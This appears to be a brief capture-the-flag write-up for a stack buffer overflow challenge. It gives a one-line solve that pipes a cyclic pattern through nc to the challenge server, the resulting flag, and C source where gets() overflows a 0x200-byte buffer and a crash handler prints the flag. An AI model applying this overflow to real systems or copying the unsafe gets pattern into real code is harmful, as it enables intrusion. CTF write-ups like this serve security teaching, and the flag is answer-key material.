```(cyclic 10000; cat) | nc challenge.ctf.games 30054How many bytes does it take to overflow this buffer?flag{72d8784a5da3a8f56d2106c12dbab989}```
In `main`, `gets` can overflow and smash the stack.  However, the `handler` will give you the flag on SIGSEGV (stack smash).  So, just smash the stack.
From the source:
```void handler(int sig) {    if (sig == SIGSEGV)        give_flag();}
int main() {    char buffer[0x200];
    setbuf(stdout, NULL);    setbuf(stdin, NULL);
    signal(SIGSEGV, handler);
    puts("How many bytes does it take to overflow this buffer?");    gets(buffer);
    return 0;}```